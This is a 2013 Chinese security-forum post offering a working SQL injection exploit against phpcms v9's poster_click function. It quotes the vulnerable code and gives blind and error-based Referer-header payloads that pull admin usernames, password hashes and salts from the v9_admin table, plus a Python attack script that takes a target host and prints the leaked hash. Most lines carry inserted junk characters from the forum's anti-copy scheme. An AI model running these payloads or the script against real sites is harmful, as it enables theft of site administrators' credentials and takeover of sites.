找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2319|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
4 n9 e# D( R  F  o) y+ t$ e: e" n) R, m4 v& C* o
问题函数\phpcms\modules\poster\index.php
  T: t7 F& e$ V+ d) d
# d7 |9 P# t6 s0 ?public function poster_click() {
9 s7 J+ I* v, ?; I! ?3 ~& x$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
, w, G3 {4 L* F$r = $this->db->get_one(array('id'=>$id));0 x  _4 O8 k; B
if (!is_array($r) && empty($r)) return false;( F7 t; U- ^& N  Z4 V3 L: ~
$ip_area = pc_base::load_sys_class('ip_area');& X8 l- N; h: m( T8 M6 P
$ip = ip();
. y9 C) V7 d) Z" ]; |$area = $ip_area->get($ip);( h, K, Q& W  w2 R, [8 y
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
% A; F# ^7 d  E: hif($id) {7 H* |$ u5 J1 z" o( S' U. Z4 b8 l; ?
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
4 ?0 \8 u! I: q) t# J7 }1 N$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));5 u5 s* w/ s# }: U2 U6 Q& V: o
}4 E0 ~' Q: [) \
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
! n" o# \1 ?" {5 b$setting = string2array($r['setting']);
  h/ E! b! d, B% Wif (count($setting)==1) {
) q* q- P. D3 K/ {0 v1 K: l$url = $setting['1']['linkurl'];' R5 i5 `8 D; o5 R) S6 J! P
} else {. x# I$ a, [2 A! Z
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
- e. ^; D# n( Y9 S}
$ l- s% @, i! z9 Gheader('Location: '.$url);! B% w7 [# M3 v
}
0 c! u+ H5 f& E3 d* N* S7 Z8 n1 e/ V: |; ]
) S( Z1 @# P3 Z& W& H7 _) |
) s6 V9 l& f5 l" M0 E/ ~: f
利用方式:
# a+ E: k) L6 h) e* H4 u, A  o
$ @  m( d7 S* Z2 _5 w/ Q. u1、可以采用盲注入的手法:7 a; {& P; _  t6 k- r# ]5 ]

' {; y* Z4 D! \/ \5 vreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#7 f" @* L8 ]: `
+ }1 I. z& P, a' }" L' ?' M
通过返回页面,正常与否一个个猜解密码字段。5 V, I' s" e% h% f5 w, c0 a

1 d# ]# V& J9 z2、代码是花开写的,随手附上了:
# M$ J1 Z* J1 h: `7 E6 z( N. i. c& I1 C/ w
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#' m# I% P* g) @& @. Z) ^6 ^
" S  D* U3 a( a$ y! F; Y; Z. q
此方法是爆错注入手法,原理自查。! H1 ]5 x0 P% u$ t3 w5 }( M# y9 q4 @
& \5 G" W8 s- n9 w" k1 l1 h

  F( X% G: q, O, A! S6 J) o
& \" t$ n5 l& g利用程序:! m; a7 J: L- @0 m- R0 r

3 Y8 W, }0 U# R! y3 M. f- |#!/usr/bin/env python
1 y/ f3 l; l$ Y2 m) n9 timport httplib,sys,re) w1 Y" }4 c- `( `' O8 Z, v% q) \
/ d  ]+ j0 h( Z+ d5 B/ t
def attack():6 o8 E, D& H2 g- p: ^% M' ]) X
print “Code by Pax.Mac Team conqu3r!”+ t3 k7 L3 {2 F/ Z% i0 Q
print “Welcome to our zone!!!”
; s3 [: }- E) K% K7 g) I3 [url=sys.argv[1]
2 j! G6 z% k7 A& o4 bpaths=sys.argv[2]" z6 g3 L) ^6 Z! E4 S* E- {4 r
conn = httplib.HTTPConnection(url)
! V8 }" q; w3 p$ Q" Y$ Fi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
4 @+ e' V6 t1 x% y1 @  u1 Y- H“Accept”: “text/plain”,( O. Y( y) N7 M: S; q6 Q( y
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}0 l4 Z8 k* x2 ~" Q: e
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)( l! H$ M, D1 Q& z$ X2 c
r1 = conn.getresponse()% R" P3 @4 S$ e- [' p
datas=r1.read()
& x! K+ I, v3 y8 Ydatas=re.findall(r”Duplicate entry \’\w+’”, datas)
  B( {+ H, x- \8 Z2 u0 w* tprint datas[0]: n) b* t  K7 z
conn.close()  {  L2 l- c8 z  Y2 C
if __name__==”__main__”:  T: |4 k! }% f. g! i5 B( R8 [+ T6 o( l
if len(sys.argv)<3:' v; b. `5 ?& O- n6 t
print “Code by Pax.Mac Team conqu3r”
, R5 Q7 ^8 J& @/ V' o/ R- Lprint “Usgae:”
7 |" s2 E6 X( I- c0 Uprint “    phpcmsattack.py   www.paxmac.org /”) v, t3 {8 t' u9 ]& g
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
" T' q  {+ r* ]) E+ g6 Ssys.exit(1)& e) }. H* U! }; y$ |  \+ h2 o# a
attack()$ H1 k; h2 s. V

- Y7 p! O  w8 J% ]: L, c; ~! Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表